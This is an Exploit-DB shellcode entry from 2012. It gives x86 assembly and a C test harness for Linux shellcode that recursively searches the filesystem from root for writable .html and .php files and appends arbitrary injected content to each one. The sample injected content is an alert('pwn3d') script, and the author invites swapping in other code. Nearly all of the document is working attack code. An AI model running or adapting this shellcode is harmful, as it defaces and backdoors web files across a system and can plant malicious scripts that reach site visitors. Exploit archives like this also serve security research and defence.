Linux/x86 - Search For '.PHP'/'.HTML' Writable Files + Add Code Shellcode (380+ bytes)

EDB-ID:

18379

CVE:

N/A


Author:

rigan


Platform:

Linux_x86

Date:

2012-01-17


; Title : Linux/x86 Search php,html writable files and add your code.
; Date  : 2011-10-24 
; Author: rigan - imrigan [sobachka ] gmail.com
; Size  : 380 bytes + your code.
;
; Note  : This shellcode writes down your code in the end of 
;         found files. Your code will be added only .html and .php 
;         files. Search for files is carried out recursively.  

 

BITS 32

section .text
global _start
_start:
;======================================================================;
;                               main                                   ;
;======================================================================;
              ; chdir("/")  
                xor eax, eax
                push eax
                sub esp, BYTE 0x1
                mov BYTE [esp], 0x2f
                mov ebx, esp
                mov al, 12
                int 0x80
            
                xor eax, eax
                push eax
                sub esp, BYTE 0x1
                mov BYTE [esp], 0x2e
               
                jmp SHORT .exit

.jmp_search: 
                jmp SHORT search      

.exit:
                call .jmp_search
         
              ; exit(0)   
                xor eax, eax
                xor ebx, ebx
                mov al, 1
                int 0x80

;======================================================================;
;                               inject                                 ;
;======================================================================;
inject:
               ; open("file", O_WRONLY)
                xor eax, eax
                mov ebx, edi
                xor ecx, ecx
                mov cl, 2
                mov al, 5
                int 0x80
                                               
              ; lseek(fd, 0, SEEK_END)
                xor ebx, ebx
                mov ebx, eax
                xor ecx, ecx
                xor eax, eax
                cdq
                mov dl, 2
                mov al, 19
                int 0x80
    
              ; write(fd, your_code, sizeof(your_code))  
                xor eax, eax
                mov ecx, esi
                mov dl, 43   ; <- TO CHANGE THE SIZE HERE.
                mov al, 4
                int 0x80 

              ; close(fd)
                xor eax, eax
                xor ebx, ebx
                mov al, 6
                int 0x80 
              
                ret
                
;======================================================================;
;                               substr                                 ;
;======================================================================;
        
substr:       
                xor eax, eax
                xor ebx, ebx
                xor ecx, ecx
                cdq

loop_1: 
                inc edx
                
              ; edi contains the filename address
              ; esi contains the substring address 
                mov BYTE bl, [edi + edx] 
        
                test bl, bl 
                jz not_found
                
                cmp BYTE bl, [esi]        
                jne loop_1        

loop_2:        
                mov BYTE al, [esi + ecx]
                mov BYTE bl, [edi + edx]
        
                test al, al
                jz found
        
                inc ecx
        
                inc edx
                cmp bl, al
       
                je loop_2
        
                jmp short not_found

found:
                xor eax, eax
                mov al, 2
        
not_found:
               
                ret
                
;======================================================================;
;                               search                                 ;
;======================================================================;
;This function recursively find all writable files. [php, html]
search:
                push ebp
                mov ebp, esp
                
                
                mov al, 250
                sub esp, eax
               
              ; open(".", O_WRONLY)
                xor eax, eax
                xor ecx, ecx
                lea ebx, [ebp + 8]
                mov al, 5
                int 0x80
         
                test eax, eax
                js .old_dirent
      
                mov [ebp + 12], eax    

.while:
              ; readdir(fd, struct old_linux_dirent *dirp, NULL)
                mov esi, [ebp + 12]
                mov ebx, esi
                xor eax, eax
                xor ecx, ecx
                lea ecx, [esp + 100]
                mov al, 89
                int 0x80
         
                test eax, eax
                jnz .l1

              ; closedir(fd)
                xor eax, eax
                xor ebx, ebx
                mov ebx, esi
                mov al, 6
                int 0x80

.old_dirent:         
              ; chdir("..")
                xor eax, eax
                push eax
                push WORD 0x2e2e
                mov ebx, esp
                mov al, 12
                int 0x80

                leave 
                ret

.l1:
                lea edx, [esp + 110]
                
                cmp DWORD [edx], 0x636f7270   ; If the /proc filesystem detected...
                je .while                     ; ...next dir
         
                cmp BYTE [edx], 0x2e
                jne .l2
                
                jmp  .while

.l2:
              ; lstat(const char *file, struct stat *buf)
                mov ebx, edx
                mov ecx, esp
                xor eax, eax
                mov al, 196
                int 0x80 
         
                mov cx, 61439
                mov bx, 40959
                inc ecx   
                inc ebx
                mov eax, [esp + 16]
         
                and ax, cx
         
                cmp ax, bx
                jne .l3
                
                jmp .while

.l3:
                xor eax, eax
                push eax
                sub esp, BYTE 0x1
                mov BYTE [esp], 0x2e
         
              ; chdir("file")
                mov ebx, edx
                mov al, 12
                int 0x80
         
                test eax, eax
                jne .l4
         
                call search
                
                jmp .while

.l4:   
              ; access("file", W_OK)       
                xor eax, eax
                mov ebx, edx
                xor ecx, ecx
                mov cl, 2
                mov al, 33
                int 0x80
         
       
                test eax, eax
                jz .check_html
                
                jmp .while

;======================================================================;
;                               check_html                             ;
;======================================================================;
.check_html:
                xor eax, eax
                push eax
                push DWORD 0x6c6d7468   ; 
                sub esp, BYTE 0x1       ; .html
                mov BYTE [esp], 0x2e    ;  
                
                mov esi, esp         
                mov edi, edx         
                call substr
         
                cmp BYTE al, 2
                je .do_inject

;======================================================================;
;                               check_php                              ;
;======================================================================;               
.check_php:     
                xor eax, eax
                push eax
                push DWORD 0x7068702e   ; .php
               
                mov esi, esp         
                
                call substr
                
                cmp BYTE al, 2
                je .do_inject
                
                jmp .while 

;======================================================================;
;                               do_inject                              ;
;======================================================================;
.do_inject: 
                jmp SHORT .your_code
                
.write:  
                pop  esi    ; Get the address of your code into esi
                
                call inject
                
                jmp .while

;======================================================================;  
;                               your_code                              ;
;======================================================================;
 .your_code:
               call .write
                                                                                              
; Here a place for your code. Its size should be allocated in the
; register dl. Look at the "inject" function.                                                               
                                                                                               
db '<html><script>alert("pwn3d")<script></html>' ;<- You can change it.

; Dont't forget to change the size of your code!
------------------------------------------------------------------------ 
                         
             
              Below is presented the shellcode equivalent.
                              

#include <stdio.h>

char shellcode[] = 
                            
    "\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2f\x89\xe3\xb0\x0c\xcd\x80"
    "\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2e\xeb\x02\xeb\x63\xe8\xf9"
    "\xff\xff\xff\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x31\xc0\x89\xfb\x31"
    "\xc9\xb1\x02\xb0\x05\xcd\x80\x31\xdb\x89\xc3\x31\xc9\x31\xc0\x99"
    "\xb2\x02\xb0\x13\xcd\x80\x31\xc0\x89\xf1\xb2\x2b\xb0\x04\xcd\x80" 
    "\x31\xc0\xb0\x06\xcd\x80\xc3\x31\xc0\x31\xdb\x31\xc9\x99\x42\x8a"
    "\x1c\x17\x84\xdb\x74\x1a\x3a\x1e\x75\xf4\x8a\x04\x0e\x8a\x1c\x17"
    "\x84\xc0\x74\x08\x41\x42\x38\xc3\x74\xf0\xeb\x04\x31\xc0\xb0\x02"
    "\xc3\x55\x89\xe5\xb0\xfa\x29\xc4\x31\xc0\x31\xc9\x8d\x5d\x08\xb0"
    "\x05\xcd\x80\x85\xc0\x78\x22\x89\x45\x0c\x8b\x75\x0c\x89\xf3\x31"
    "\xc0\x31\xc9\x8d\x4c\x24\x64\xb0\x59\xcd\x80\x85\xc0\x75\x19\x31"
    "\xc0\x31\xdb\x89\xf3\xb0\x06\xcd\x80\x31\xc0\x50\x66\x68\x2e\x2e"
    "\x89\xe3\xb0\x0c\xcd\x80\xc9\xc3\x8d\x54\x24\x6e\x81\x3a\x70\x72"
    "\x6f\x63\x74\xc6\x80\x3a\x2e\x75\x05\xe9\xbc\xff\xff\xff\x89\xd3"
    "\x89\xe1\x31\xc0\xb0\xc4\xcd\x80\x66\xb9\xff\xef\x66\xbb\xff\x9f"
    "\x41\x43\x8b\x44\x24\x10\x66\x21\xc8\x66\x39\xd8\x75\x05\xe9\x97"
    "\xff\xff\xff\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2e\x89\xd3\xb0"
    "\x0c\xcd\x80\x85\xc0\x75\x0a\xe8\x65\xff\xff\xff\xe9\x79\xff\xff" 
    "\xff\x31\xc0\x89\xd3\x31\xc9\xb1\x02\xb0\x21\xcd\x80\x85\xc0\x74"
    "\x05\xe9\x64\xff\xff\xff\x31\xc0\x50\x68\x68\x74\x6d\x6c\x83\xec"
    "\x01\xc6\x04\x24\x2e\x89\xe6\x89\xd7\xe8\x09\xff\xff\xff\x3c\x02"
    "\x74\x18\x31\xc0\x50\x68\x2e\x70\x68\x70\x89\xe6\xe8\xf6\xfe\xff"
    "\xff\x3c\x02\x74\x05\xe9\x30\xff\xff\xff\xeb\x0b\x5e\xe8\xb9\xfe"
    "\xff\xff\xe9\x23\xff\xff\xff\xe8\xf0\xff\xff\xff"
    // <html><script>alert("pwn3d")<script></html>
    "\x3c\x68\x74\x6d\x6c\x3e\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c"
    "\x65\x72\x74\x28\x22\x70\x77\x6e\x33\x64\x22\x29\x3c\x73\x63\x72"
    "\x69\x70\x74\x3e\x3c\x2f\x68\x74\x6d\x6c\x3e";
    
int main()
{   
  printf("%d\n", strlen(shellcode));
  (*(void (*)()) shellcode)();
  return 0;
}